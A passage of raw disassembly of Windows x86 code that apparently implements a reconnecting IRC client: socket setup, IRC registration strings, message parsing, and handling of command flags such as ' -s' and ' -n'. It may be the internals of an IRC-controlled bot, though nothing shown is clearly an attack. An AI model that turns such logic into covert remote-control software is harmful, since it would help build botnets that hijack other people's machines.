= dword ptr -4 push 0FFFFFFFFh push offset SEH_40FDA0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi mov dword ptr [esi], offset off_43E028 mov dword ptr [esi+11h], offset off_43E034 lea ecx, [esi+2DAh] mov [esp+14h+var_4], 10h call sub_401B54 sub_40FDA0 endp ; --------------------------------------------------------------------------- lea ecx, [esi+2ACh] mov byte ptr [esp+10h], 0Fh call sub_401023 lea ecx, [esi+27Eh] mov byte ptr [esp+10h], 0Eh call sub_401023 lea ecx, [esi+250h] mov byte ptr [esp+10h], 0Dh call sub_401023 lea ecx, [esi+222h] mov byte ptr [esp+10h], 0Ch call sub_401023 lea ecx, [esi+1F4h] mov byte ptr [esp+10h], 0Bh call sub_401023 lea ecx, [esi+1C6h] mov byte ptr [esp+10h], 0Ah call sub_401023 lea ecx, [esi+198h] mov byte ptr [esp+10h], 9 call sub_401023 lea ecx, [esi+16Ah] mov byte ptr [esp+10h], 8 call sub_401023 lea ecx, [esi+13Ch] mov byte ptr [esp+10h], 7 call sub_401023 lea ecx, [esi+10Eh] mov byte ptr [esp+10h], 6 call sub_401023 lea ecx, [esi+0E0h] mov byte ptr [esp+10h], 5 call sub_401023 lea ecx, [esi+0B2h] mov byte ptr [esp+10h], 4 call sub_401023 lea ecx, [esi+84h] mov byte ptr [esp+10h], 3 call sub_401023 lea ecx, [esi+56h] mov byte ptr [esp+10h], 2 call sub_401023 lea ecx, [esi+3Dh] mov byte ptr [esp+10h], 1 call sub_401226 lea ecx, [esi+28h] mov byte ptr [esp+10h], 0 call sub_401226 mov ecx, esi mov dword ptr [esp+10h], 0FFFFFFFFh call sub_402031 mov ecx, [esp+8] pop esi mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40FF60 proc near ; CODE XREF: sub_40212Bj var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_1C = byte ptr 20h arg_1E = word ptr 22h arg_20 = dword ptr 24h arg_24 = dword ptr 28h arg_28 = dword ptr 2Ch arg_2C = dword ptr 30h arg_34 = byte ptr 38h arg_4C = byte ptr 50h arg_64 = byte ptr 68h arg_7C = byte ptr 80h arg_94 = byte ptr 98h arg_AC = byte ptr 0B0h arg_C4 = byte ptr 0C8h arg_DC = byte ptr 0E0h arg_F4 = byte ptr 0F8h arg_10C = byte ptr 110h arg_124 = byte ptr 128h arg_13C = byte ptr 140h arg_154 = byte ptr 158h arg_16C = byte ptr 170h arg_184 = byte ptr 188h arg_19C = byte ptr 1A0h arg_1B4 = byte ptr 1B8h arg_1CC = byte ptr 1D0h arg_1E4 = byte ptr 1E8h arg_1FC = byte ptr 200h arg_214 = byte ptr 218h arg_22C = byte ptr 230h arg_244 = byte ptr 248h arg_25C = byte ptr 260h arg_274 = byte ptr 278h arg_28C = byte ptr 290h arg_2A4 = byte ptr 2A8h arg_2BC = byte ptr 2C0h arg_2D4 = byte ptr 2D8h arg_2EC = byte ptr 2F0h arg_304 = byte ptr 308h arg_31C = byte ptr 320h arg_334 = byte ptr 338h arg_34C = byte ptr 350h arg_364 = byte ptr 368h arg_37C = byte ptr 380h arg_394 = byte ptr 398h arg_3AC = byte ptr 3B0h arg_3C4 = byte ptr 3C8h arg_3DC = byte ptr 3E0h arg_3F4 = byte ptr 3F8h arg_408 = byte ptr 40Ch arg_40C = byte ptr 410h arg_464 = byte ptr 468h arg_2464 = dword ptr 2468h arg_246C = dword ptr 2470h arg_2470 = dword ptr 2474h push 0FFFFFFFFh mov eax, large fs:0 push offset loc_4395D3 push eax mov eax, 2478h mov large fs:0, esp call sub_436840 push ebx push ebp mov ebp, ecx push esi push edi lea ecx, [esp+1Ch+var_4] call sub_401424 mov al, [ebp+17h] xor ebx, ebx cmp al, bl mov [esp+1Ch+arg_2470], ebx jz loc_411330 loc_40FFA2: ; CODE XREF: sub_40FF60+13CAj mov al, byte_4E6E84 mov edi, dword_50F8A4 cmp al, bl jz loc_411330 mov eax, [ebp+20h] cmp eax, ebx jnz short loc_40FFCA cmp dword ptr [ebp+1Ch], 5 jg short loc_40FFD4 cmp eax, ebx jz loc_41010E loc_40FFCA: ; CODE XREF: sub_40FF60+5Aj cmp dword ptr [ebp+1Ch], 2 jle loc_41010E loc_40FFD4: ; CODE XREF: sub_40FF60+60j mov eax, [ebp+18h] mov [ebp+16h], bl cmp eax, 0FFFFFFFFh mov [ebp+15h], bl jz short loc_40FFE9 push eax call near ptr 71AB9639h nop loc_40FFE9: ; CODE XREF: sub_40FF60+80j mov ecx, offset word_448C9E mov dword ptr [ebp+18h], 0FFFFFFFFh call sub_401537 mov esi, [ebp+20h] inc esi mov [ebp+20h], esi lea esi, [ebp+2DAh] mov ecx, esi call sub_401974 mov ecx, [ebp+20h] dec eax cmp ecx, eax jbe short loc_410019 mov [ebp+20h], ebx loc_410019: ; CODE XREF: sub_40FF60+B4j mov eax, [ebp+20h] mov ecx, esi push eax mov [ebp+1Ch], ebx call sub_40146A mov ecx, [eax] add ecx, 16Dh push ecx push offset byte_44742D mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 1B6h push eax push offset dword_4473E4 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 push edx push offset dword_4472C0 call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 124h push ecx push offset word_447352 mov ecx, offset word_448D16 call sub_401F32 mov edx, [ebp+20h] mov ecx, esi push edx call sub_40146A mov eax, [eax] mov ecx, offset word_448D16 add eax, 0DBh push eax push offset byte_447309 call sub_401F32 mov ecx, [ebp+20h] push ecx mov ecx, esi call sub_40146A mov edx, [eax] mov ecx, offset word_448D16 add edx, 92h push edx push offset byte_44739B call sub_401F32 mov eax, [ebp+20h] mov ecx, esi push eax call sub_40146A mov ecx, [eax] add ecx, 1FFh push ecx push offset byte_4474BF mov ecx, offset word_448D16 call sub_401F32 call edi mov [ebp+24h], eax loc_41010E: ; CODE XREF: sub_40FF60+64j ; sub_40FF60+6Ej mov edx, [ebp+18h] cmp edx, 0FFFFFFFFh jnz short loc_410138 push 6 push 1 push 2 call near ptr 71AB3B91h nop push 7D0h mov [ebp+18h], eax mov [ebp+15h], bl nop call near ptr 2850303h jmp loc_411327 ; --------------------------------------------------------------------------- loc_410138: ; CODE XREF: sub_40FF60+1B4j cmp [ebp+15h], bl jnz loc_4102C8 mov ax, word_44736C xor edx, edx mov [esp+20h+arg_20], edx push eax mov [esp+24h+arg_24], edx mov word ptr [esp+24h+arg_20], 2 mov [esp+24h+arg_28], edx mov [esp+24h+arg_2C], edx call near ptr 71AB2B66h nop mov ecx, offset byte_447309 mov [esp+24h+arg_1E], ax call sub_4017E4 push eax call sub_40187F add esp, 4 mov [esp+24h+arg_20], eax call edi mov edx, [ebp+18h] lea ecx, [esp+24h+arg_1C] push 10h push ecx push edx mov [ebp+24h], eax nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jnz short loc_4101B8 push 2710h call near ptr 2850303h nop mov eax, [ebp+1Ch] mov [ebp+15h], bl inc eax mov [ebp+1Ch], eax jmp loc_411327 ; --------------------------------------------------------------------------- loc_4101B8: ; CODE XREF: sub_40FF60+23Cj mov byte ptr [ebp+15h], 1 mov [ebp+16h], bl call edi mov [ebp+24h], eax xor eax, eax mov [esp+30h+arg_0], eax lea ecx, [esp+30h+arg_20] mov [esp+30h+arg_4], eax lea edx, [esp+30h+arg_0] mov [esp+30h+arg_8], eax push ecx mov [esp+34h+arg_C], eax mov eax, [ebp+18h] push edx push eax mov [esp+3Ch+arg_20], 10h call near ptr 71AB951Eh nop mov ecx, [esp+3Ch+var_4+3] mov edx, [esp+3Ch+var_4+2] mov eax, [esp+3Ch+var_4+1] and ecx, 0FFh push ecx mov ecx, [esp+40h+var_4] and edx, 0FFh and eax, 0FFh push edx and ecx, 0FFh push eax push ecx lea edx, [esp+4Ch+arg_408] push offset aD_D_D_D ; "%d.%d.%d.%d" push edx call sub_5EE1E5 nop add esp, 18h lea eax, [esp+3Ch+arg_408] lea ecx, [ebp+3Dh] push eax call sub_4015D7 lea ecx, [esp+3Ch+arg_408] push ecx nop call near ptr 71AB2BF4h push offset byte_446F70 mov ecx, offset byte_44739B mov [ebp+52h], eax call sub_4012EE test eax, eax jz short loc_410287 mov ecx, offset byte_44739B call sub_4017E4 mov edx, dword_44711C push eax push edx push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h loc_410287: ; CODE XREF: sub_40FF60+305j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_447124 push eax mov ecx, offset byte_4E6E85 call sub_4017E4 mov ecx, dword_447120 push eax push ecx push offset aSSSS00S ; "%s %s\r\n%s %s 0 0 :%s\r\n" push ebp call sub_401E0B add esp, 1Ch jmp loc_411327 ; --------------------------------------------------------------------------- loc_4102C8: ; CODE XREF: sub_40FF60+1DBj mov ecx, 800h xor eax, eax lea edi, [esp+20h+arg_464] push ebx rep stosd lea eax, [esp+24h+arg_464] push 2000h push eax push edx call sub_401280 add esp, 10h cmp al, bl jz loc_411320 nop call near ptr 27F0769h lea ecx, [esp+20h+var_8] mov [ebp+24h], eax call sub_401CBC lea ecx, [esp+20h+arg_464] push ecx lea ecx, [esp+24h+var_8] call sub_401A87 push offset asc_443600 ; " " lea edx, [esp+24h+arg_364] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447128 mov byte ptr [esp+20h+arg_246C], 1 push ecx mov ecx, eax call sub_4012EE test eax, eax jnz short loc_4103A0 push offset asc_443600 ; " " lea edx, [esp+24h+arg_3F4] push 4 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4473E4 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 2 call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_3F4] mov byte ptr [esp+20h+arg_246C], 1 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4103A4 loc_4103A0: ; CODE XREF: sub_40FF60+3EAj mov [esp+20h+var_D], bl loc_4103A4: ; CODE XREF: sub_40FF60+43Ej lea ecx, [esp+20h+arg_364] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4103C6 mov byte ptr [ebp+16h], 1 jmp loc_411327 ; --------------------------------------------------------------------------- loc_4103C6: ; CODE XREF: sub_40FF60+45Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_F4] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_4470FC mov byte ptr [esp+20h+arg_246C], 3 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_F4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl push 1 jz short loc_410464 lea edx, [esp+28h+arg_2A4] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 4 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2A4] jmp loc_410592 ; --------------------------------------------------------------------------- loc_410464: ; CODE XREF: sub_40FF60+4BAj lea edx, [esp+28h+arg_124] lea ecx, [esp+28h+var_8] push edx call sub_4016AE mov ecx, dword_447100 mov byte ptr [esp+20h+arg_246C], 5 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_124] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz loc_4105D0 lea edx, [esp+24h+arg_40C] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 6 call sub_4012EE lea ecx, [esp+20h+arg_40C] mov esi, eax mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp esi, ebx jz loc_411327 push offset asc_443600 ; " " lea eax, [esp+24h+arg_154] push 11h push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447118 mov byte ptr [esp+20h+arg_246C], 7 push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_154] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz short loc_410597 push offset asc_443600 ; " " lea edx, [esp+24h+arg_2D4] push 12h push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 8 call sub_4017E4 push eax mov eax, dword_447118 push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h mov byte ptr [esp+20h+arg_246C], bl lea ecx, [esp+20h+arg_2D4] loc_410592: ; CODE XREF: sub_40FF60+4FFj call sub_401226 loc_410597: ; CODE XREF: sub_40FF60+5E6j cmp [ebp+16h], bl jnz loc_411327 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov ecx, dword_447104 push eax push ecx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4105D0: ; CODE XREF: sub_40FF60+550j lea edx, [esp+24h+arg_394] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447138 mov byte ptr [esp+20h+arg_246C], 9 push ecx mov ecx, eax call sub_4012EE test eax, eax jz short loc_410652 push offset asc_443600 ; " " lea edx, [esp+24h+arg_184] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44713C mov byte ptr [esp+20h+arg_246C], 0Ah push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_184] mov byte ptr [esp+20h+arg_246C], 9 setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] mov [esp+20h+var_D], bl cmp al, bl jz short loc_410657 loc_410652: ; CODE XREF: sub_40FF60+69Bj mov [esp+20h+var_D], 1 loc_410657: ; CODE XREF: sub_40FF60+6F0j lea ecx, [esp+20h+arg_394] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz short loc_4106C4 cmp [ebp+16h], bl jnz short loc_4106A0 mov ecx, offset byte_44742D call sub_4017E4 push eax mov ecx, offset dword_4473E4 call sub_4017E4 mov edx, dword_447104 push eax push edx push offset aSSS_0 ; "%s %s %s\r\n" push ebp call sub_401E0B add esp, 14h loc_4106A0: ; CODE XREF: sub_40FF60+713j mov ecx, offset byte_4E6E85 call sub_4017E4 push eax mov eax, dword_44710C push eax push offset aSS_0 ; "%s %s\r\n" push ebp call sub_401E0B add esp, 10h jmp loc_411327 ; --------------------------------------------------------------------------- loc_4106C4: ; CODE XREF: sub_40FF60+70Ej push offset asc_443600 ; " " lea ecx, [esp+24h+arg_1B4] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447114 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Bh call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_1B4] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 mov al, [esp+20h+var_D] push offset asc_443600 ; " " cmp al, bl jz short loc_410775 lea eax, [esp+24h+arg_94] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_94] mov byte ptr [esp+24h+arg_246C], 0Ch call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_41075D inc eax lea ecx, [ebp+28h] push eax call sub_4015D7 loc_41075D: ; CODE XREF: sub_40FF60+7F1j lea ecx, [esp+20h+arg_94] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410775: ; CODE XREF: sub_40FF60+7B7j lea ecx, [esp+24h+arg_304] push 1 push ecx lea ecx, [esp+2Ch+var_8] call sub_4016AE mov edx, dword_447110 mov ecx, eax push edx mov byte ptr [esp+24h+arg_246C], 0Dh call sub_4012EE test eax, eax jnz short loc_4107B0 mov al, byte_447844 mov [esp+20h+var_D], 1 cmp al, bl jnz short loc_4107B4 loc_4107B0: ; CODE XREF: sub_40FF60+840j mov [esp+20h+var_D], bl loc_4107B4: ; CODE XREF: sub_40FF60+84Ej lea ecx, [esp+20h+arg_304] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 cmp [esp+20h+var_D], bl jz loc_410AC1 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_4C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push 96h mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 0Fh jz short loc_410812 mov ecx, eax call sub_402054 loc_410812: ; CODE XREF: sub_40FF60+8A9j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 10h jz short loc_41083E mov ecx, eax call sub_4010BE loc_41083E: ; CODE XREF: sub_40FF60+8D5j push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_4C] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_401A9B push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_7C] push ebx push ecx lea ecx, [esp+2Ch+arg_4C] xor edi, edi call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jz loc_410AAC loc_41089F: ; CODE XREF: sub_40FF60+B46j push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 12h jz short loc_4108C7 mov ecx, eax call sub_402054 mov esi, eax jmp short loc_4108C9 ; --------------------------------------------------------------------------- loc_4108C7: ; CODE XREF: sub_40FF60+95Aj xor esi, esi loc_4108C9: ; CODE XREF: sub_40FF60+965j push 0ADh mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 13h jz short loc_4108FB mov ecx, eax call sub_4010BE mov [esp+20h+var_C], eax jmp short loc_4108FF ; --------------------------------------------------------------------------- loc_4108FB: ; CODE XREF: sub_40FF60+98Cj mov [esp+20h+var_C], ebx loc_4108FF: ; CODE XREF: sub_40FF60+999j push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], 0Eh call sub_4013E3 test eax, eax jz short loc_410922 mov byte ptr [esi+93h], 1 jmp short loc_410928 ; --------------------------------------------------------------------------- loc_410922: ; CODE XREF: sub_40FF60+9B7j mov [esi+93h], bl loc_410928: ; CODE XREF: sub_40FF60+9C0j push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410943 mov byte ptr [esi+94h], 1 jmp short loc_410949 ; --------------------------------------------------------------------------- loc_410943: ; CODE XREF: sub_40FF60+9D8j mov [esi+94h], bl loc_410949: ; CODE XREF: sub_40FF60+9E1j push offset aO ; " -o" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410964 mov byte ptr [esi+95h], 1 jmp short loc_41096A ; --------------------------------------------------------------------------- loc_410964: ; CODE XREF: sub_40FF60+9F9j mov [esi+95h], bl loc_41096A: ; CODE XREF: sub_40FF60+A02j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1E4] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 14h call sub_401FBE lea ecx, [esp+20h+arg_1E4] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset byte_446F70 lea ecx, [esi+54h] call sub_4015D7 push offset byte_446F70 lea ecx, [esi+3Fh] call sub_4015D7 push offset asc_443600 ; " " lea eax, [esp+24h+arg_AC] push 3 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 15h call sub_401FBE lea ecx, [esp+20h+arg_AC] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 push offset asc_4435EC ; "|" lea ecx, [esp+24h+arg_214] push edi push ecx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE mov ecx, eax mov byte ptr [esp+20h+arg_246C], 16h call sub_4017E4 push eax mov ecx, esi call sub_4015D7 lea ecx, [esp+20h+arg_214] mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 mov ecx, [esp+20h+var_C] push 1 push esi call sub_401DE3 cmp esi, ebx jz short loc_410A59 push 1 mov ecx, esi call sub_4019D3 loc_410A59: ; CODE XREF: sub_40FF60+AEEj mov ecx, [esp+20h+var_C] call sub_4013D4 inc edi push offset asc_4435EC ; "|" lea edx, [esp+24h+arg_7C] push edi push edx lea ecx, [esp+2Ch+arg_4C] call sub_4016AE push offset byte_446F70 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 11h call sub_4012EE lea ecx, [esp+20h+arg_7C] mov esi, eax mov byte ptr [esp+20h+arg_246C], 0Eh call sub_401226 cmp esi, ebx jnz loc_41089F loc_410AAC: ; CODE XREF: sub_40FF60+939j lea ecx, [esp+20h+arg_4C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410AC1: ; CODE XREF: sub_40FF60+86Bj push offset asc_443600 ; " " lea eax, [esp+24h+arg_334] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_447108 mov byte ptr [esp+20h+arg_246C], 17h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_334] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410DDB push 96h call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 18h jz short loc_410B3B mov ecx, eax call sub_402054 mov esi, eax jmp short loc_410B3D ; --------------------------------------------------------------------------- loc_410B3B: ; CODE XREF: sub_40FF60+BCEj xor esi, esi loc_410B3D: ; CODE XREF: sub_40FF60+BD9j push 0ADh mov byte ptr [esp+24h+arg_246C], bl call sub_4367FA ; --------------------------------------------------------------------------- add esp, 4 mov [esp+20h+var_C], eax cmp eax, ebx mov byte ptr [esp+20h+arg_246C], 19h jz short loc_410B6C mov ecx, eax call sub_4010BE mov edi, eax jmp short loc_410B6E ; --------------------------------------------------------------------------- loc_410B6C: ; CODE XREF: sub_40FF60+BFFj xor edi, edi loc_410B6E: ; CODE XREF: sub_40FF60+C0Aj push offset aO ; " -o" lea ecx, [esp+24h+var_8] mov byte ptr [esp+24h+arg_246C], bl call sub_4013E3 test eax, eax jz short loc_410B90 mov byte ptr [esi+95h], 1 jmp short loc_410B96 ; --------------------------------------------------------------------------- loc_410B90: ; CODE XREF: sub_40FF60+C25j mov [esi+95h], bl loc_410B96: ; CODE XREF: sub_40FF60+C2Ej push offset aS_3 ; " -s" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BB1 mov byte ptr [esi+93h], 1 jmp short loc_410BB7 ; --------------------------------------------------------------------------- loc_410BB1: ; CODE XREF: sub_40FF60+C46j mov [esi+93h], bl loc_410BB7: ; CODE XREF: sub_40FF60+C4Fj push offset aN_0 ; " -n" lea ecx, [esp+24h+var_8] call sub_4013E3 test eax, eax jz short loc_410BD2 mov byte ptr [esi+94h], 1 jmp short loc_410BD8 ; --------------------------------------------------------------------------- loc_410BD2: ; CODE XREF: sub_40FF60+C67j mov [esi+94h], bl loc_410BD8: ; CODE XREF: sub_40FF60+C70j push offset asc_443C94 ; ":" lea edx, [esp+24h+arg_274] push ebx push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_3C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Ah call sub_4016AE push offset asc_443C88 ; "!" lea edx, [esp+24h+arg_244] push ebx push edx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Bh call sub_4016AE push eax lea ecx, [esi+15h] mov byte ptr [esp+24h+arg_246C], 1Ch call sub_401FBE lea ecx, [esp+20h+arg_244] mov byte ptr [esp+20h+arg_246C], 1Bh call sub_401226 lea ecx, [esp+20h+arg_3C4] mov byte ptr [esp+20h+arg_246C], 1Ah call sub_401226 lea ecx, [esp+20h+arg_274] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C88 ; "!" lea eax, [esp+24h+arg_DC] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+24h+arg_C4] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Dh call sub_4016AE push eax lea ecx, [esi+54h] mov byte ptr [esp+24h+arg_246C], 1Eh call sub_401FBE lea ecx, [esp+20h+arg_C4] mov byte ptr [esp+20h+arg_246C], 1Dh call sub_401226 lea ecx, [esp+20h+arg_DC] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset dword_4437F8 lea edx, [esp+24h+arg_13C] push 1 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443600 ; " " lea ecx, [esp+24h+arg_10C] push ebx push ecx mov ecx, eax mov byte ptr [esp+2Ch+arg_246C], 1Fh call sub_4016AE push eax lea ecx, [esi+3Fh] mov byte ptr [esp+24h+arg_246C], 20h call sub_401FBE mov byte ptr [esp+20h+arg_246C], 1Fh lea ecx, [esp+20h+arg_10C] call sub_401226 lea ecx, [esp+20h+arg_13C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443600 ; " " lea edx, [esp+24h+arg_16C] push 2 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push eax lea ecx, [esi+2Ah] mov byte ptr [esp+24h+arg_246C], 21h call sub_401FBE lea ecx, [esp+20h+arg_16C] mov byte ptr [esp+20h+arg_246C], bl call sub_401226 push offset asc_443C84 ; " :" lea ecx, [esp+24h+var_8] call sub_4014D3 push eax nop call near ptr 77C47C60h add esp, 8 cmp eax, ebx jz short loc_410DAD add eax, 2 push eax jmp short loc_410DB2 ; --------------------------------------------------------------------------- loc_410DAD: ; CODE XREF: sub_40FF60+E45j push offset byte_446F70 loc_410DB2: ; CODE XREF: sub_40FF60+E4Bj mov ecx, esi call sub_4015D7 push ebx push esi mov ecx, edi call sub_401DE3 cmp esi, ebx jz short loc_410DCF push 1 mov ecx, esi call sub_4019D3 loc_410DCF: ; CODE XREF: sub_40FF60+E64j mov ecx, edi call sub_4013D4 jmp loc_411327 ; --------------------------------------------------------------------------- loc_410DDB: ; CODE XREF: sub_40FF60+BADj push offset asc_443600 ; " " lea eax, [esp+24h+arg_19C] push 1 push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE mov ecx, dword_44712C mov byte ptr [esp+20h+arg_246C], 22h push ecx mov ecx, eax call sub_4012EE test eax, eax lea ecx, [esp+20h+arg_19C] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_410FB0 sub esp, 18h lea ecx, [esp+38h+var_8] mov edx, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push edx call sub_4016AE mov ecx, offset word_448C9E call sub_401CD0 cmp eax, ebx jz short loc_410EA2 sub esp, 18h lea ecx, [esp+38h+var_8] mov eax, esp mov [esp+38h+var_C], esp push offset asc_443600 ; " " push 3 push eax call sub_4016AE sub esp, 18h mov byte ptr [esp+50h+arg_246C], 23h mov ecx, esp mov [esp+50h+arg_C], esp push offset asc_443600 ; " " push 3 push ecx lea ecx, [esp+5Ch+var_8] call sub_4016AE mov ecx, offset word_448C9E mov byte ptr [esp+50h+arg_246C], bl call sub_40210D loc_410EA2: ; CODE XREF: sub_40FF60+EF3j push offset asc_443600 ; " " lea edx, [esp+24h+arg_1CC] push 3 push edx lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset byte_4E6E85 mov ecx, eax mov byte ptr [esp+24h+arg_246C], 24h call sub_401B72 test eax, eax lea ecx, [esp+20h+arg_1CC] mov byte ptr [esp+20h+arg_246C], bl setz [esp+20h+var_D] call sub_401226 cmp [esp+20h+var_D], bl jz loc_411327 push offset asc_443C94 ; ":" lea eax, [esp+24h+arg_22C] push ebx push eax lea ecx, [esp+2Ch+var_8] call sub_4016AE push offset asc_443C88 ; 